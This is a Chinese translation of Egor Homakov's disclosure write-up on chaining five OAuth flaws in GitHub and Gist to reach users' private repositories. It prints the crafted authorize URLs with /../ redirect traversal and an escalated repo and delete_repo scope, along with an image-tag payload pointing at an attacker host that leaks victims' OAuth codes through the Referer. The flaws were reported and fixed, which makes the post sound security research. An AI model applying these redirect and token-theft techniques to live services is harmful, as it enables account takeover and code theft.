Egor Homakov：我是如何再次黑掉GitHub的

編注：爲何標題是「再次」？2013年，GitHub Page服務啓用新域名（從 page.github.com 換到 github.io）以前有被跨域攻擊的危險。Egor Homakov 寫了一篇博文證明。

這篇文章是關於我將5個危險性不高的漏洞組合起來，構造一個簡單卻高危漏洞的故事。利用這個漏洞，我能夠進入github上的用戶私有代碼倉庫。這些漏洞都已經私下報告並及時修復了。

下面是個人郵件時間線：

幾天前，GitHub正式推出了一個賞金計劃，這個計劃對我來講是研究GitHub OAuth問題的絕佳動力。

漏洞1. 利用/../繞過redirect_uri 驗證

我最早發現的是：

若是提供了的話，重定向URL的主機和端口必須嚴格匹配回調URL。重定向URL的路徑只能引用回調URL的一個子目錄。

而後，我嘗試用/../進行路徑遍歷，我成功了。

漏洞2. 在得到令牌的終端缺乏重定向URI驗證

僅有第一個漏洞沒有什麼價值。在OAuth2協議中有保護機制防止‘泄露的’重定向URI，每一個code參數都簽發給對應的‘redirect_uri’。要得到訪問令牌必須提供你在認證流程中使用的準確的redirect_uri。

redirect_uri | string | 你的app中用戶認證後返回給用戶的URL。查看更多細節點擊 redirect_urls.

不幸的是，我決定研究一下這個保護機制有沒有被正確實現。

它確實是有缺陷：無論客戶端發送什麼重定向uri來得到令牌，提供商都會回覆一個有效的訪問令牌。

要是沒有第一個漏洞，第二個漏洞也會要毫無價值。可是，它們卻組合成一個很強大的漏洞——攻擊者能夠劫持一個簽發給泄露的重定向uri的受權令牌，而後把這個泄露的令牌用在真正的客戶端回調URl上，從而登錄受害者的帳戶。順便說下，這和我在VK.com發現的漏洞同樣。

這是一個嚴重的問題，並且能夠用來危害全部依賴「用GitHub登錄」功能的網站。我打開了應用頁面來查看哪些網站應該檢查一下。這個部分引發了個人注意：

Gist、Education、Pages和Speakerdeck（注：前三個是Github的頻道站，後面是旗下站點）都是官方預先承認的OAuth客戶端。我沒有找到Pages和Education的client_id，Speakerdeck又超出了獎金範圍（我在那裏發現了帳戶劫持，並得到了$100）。那麼，咱們仍是在Gist上尋找重定向泄露的頁面吧。

漏洞3. 在gist中注入跨站圖片

基本上，泄露的Referers有兩個向量：用戶點擊一個連接（須要交互）或用戶代理載入一些跨站資源，好比<img>
我不能簡單的注入（img src=http://attackersite.com），由於這會替換成camo-proxy URL，這樣就不能把Referer頭傳遞到攻擊者的主機。爲了可以繞過Camo-s 過濾器，我用了一個小技巧：<img src=」///attackersite.com」>

你能夠在開放重定向漏洞進展這篇文章中看到更多細節。

///host.com 被Ruby的URI庫解析成一個相對路徑URL，卻被Chrome和Firefox視爲一個相對協議URL。下面是咱們精心構造的URL：

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&amp;redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%<strong>2Fcallback/../../../homakov/8820324</strong>&amp;response_type=code

當用戶載入這個URL時，Github會自動302 重定向本身。對應地址：

https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE

可是用戶代理載入爲：

https://gist.github.com/homakov/8820324?code=CODE

那麼用戶代理會把發送請求的CODE泄露給咱們的<img>：

一旦咱們得到受害者的CODE，咱們點擊 ：

https://gist.github.com/auth/github/callback?code=CODE

瞧，咱們登錄進了受害者的帳號，而後咱們能夠進入私有的gists

漏洞4. Gist在cookies裏暴露了github_token

我很想知道Gists是怎麼把用戶會話和解碼的_gist_session存放在cookie（普通的Rails Base64編碼的cookie）裏：

天啊，又一個OAuth的反面教材！客戶端毫不應該暴露真正的訪問令牌給用戶代理。如今咱們能夠用這個github_token表明受害者帳戶來執行API調用，而且再也不須要Gist網站。我試着訪問私人代碼庫：

該死的，令牌的範圍顯然僅僅是Gists……

漏洞5. 對Gist客戶端的自動受權

個人漏洞利用的最後部分。因爲Gist是一個預先受權的客戶端，我猜測Github也自動認證了Gist客戶端請求的其餘範圍。我果真對了

咱們如今要作的只是把構造的URL載入到受害者的瀏覽器：

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&amp;redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%<strong>2Fcallback/../../../homakov/8820324</strong>&amp;response_type=code&amp;<strong>scope=repo,gists,user,delete_repo,notifications</strong>

用戶代理泄漏了受害者的CODE，攻擊者使用泄漏的CODE登錄進受害者的Gist帳戶，解碼_gist_session來盜取github_token等等。

私人代碼庫，讀寫權限等等——都祕密失竊，由於所用github_token是屬於Gist客戶端的。完美的犯罪，不是嗎？

賞金

$4000的獎勵真是太豐厚了。有趣的是，對他們來講購買我4~5個小時$400的諮詢服務，只須要$1600，這會更便宜。重要的是也要有衆包安全。最好是二者都用:)

---

原文：How I hacked Github again
轉載自：伯樂在線 - 50infivedays